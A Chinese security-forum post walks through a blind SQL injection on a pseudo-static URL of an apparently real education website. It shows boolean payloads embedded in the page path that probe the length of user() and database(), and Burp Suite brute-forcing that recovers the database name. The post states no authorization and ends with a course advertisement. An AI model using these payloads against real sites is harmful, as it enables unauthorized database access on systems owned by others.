安全矩阵

 找回密码
 立即注册
搜索
查看: 2002|回复: 0

干货!一次伪静态页面的SQL注入

[复制链接]

180

主题

231

帖子

1178

积分

金牌会员

Rank: 6Rank: 6

积分
1178
发表于 2022-4-28 23:31:06 | 显示全部楼层 |阅读模式
本帖最后由 Grav1ty 于 2022-4-28 23:32 编辑

干货!一次伪静态页面的SQL注入

涉及技能点
  • SQL注入基础原理
  • 盲注常用函数及思路
  • burpsuite基础知识

过程记录1.发现
在翻阅一EDU站点时,发现路径中带有明显的数字参数
好像与我们平时习惯的xxx.php?id=不同呃
2.尝试注入
按照以往习惯,先用order by探探底,结果翻车了…应该有自定义逻辑在过滤敏感关键词。
继续努力,峰回路转,耶~~~!

构造boolen等式时能够被带入查询语句并显示不同效果

当条件不符合时,71-false=71,显示71.html,无数据
  1. http://EDU_SITE/.../..._id/71-false.html

  2. => SELECT ..FROM .. WHERE ... AND _id=71-false
复制代码

而当条件符合时,71-true=70,显示70.html,有数据
http://edu_site/.../..._id/71-true.html%20=%3E%20SELECT%20..FROM%20..%20WHERE%20...%20AND%20_id=71-true

3.确定攻击方式,获取数据进行验证
获取用户名长度
  1. http://EDU_SITE/.../..._id/71-(length(user())=12).html

  2. => SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)
复制代码

获取数据库长度
  1. http://EDU_SITE/.../..._id/71-(length(database())=6).html

  2. => SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)
复制代码


尝试用burpsuite的clusterboom模式对database进行爆破

其中参数1 为位数,参数2 为可能出现的字符明文

获得最终database()=db_cms

总结

在尝试sql注入的时候,往往过分关注get传参或者post传参而忽略了URL中自带的注入点,有时候一些明显的数字型参数也能够带入payload
零基础从入门到挖漏洞,其实也没那么难更多的是找不到适合自己的学习路线,从而踩了不少坑,以及还未形成独立的渗透思维,不得法门,就算花再多时间也与你无缘。想要学好渗透,最主要的还得是在找到一套对自己有益的教程,打下牢固的基础,在学习、打靶场的过程中,拓展自己的思维,从而慢慢形成一套自己的渗透思维.
掌控安全推出的免费入门渗透课程,上述所包含的知识点,这个视频里都有涉及,如果你刚入门,可以领取这套视频,内容很全且免费,在授课过程中,以幽默风趣的方式讲述知识点,以便能够更加深入的理解。同时配有各种工具的使用及安装包(包括上文用到的burp神器)

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 20:06 , Processed in 0.016560 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表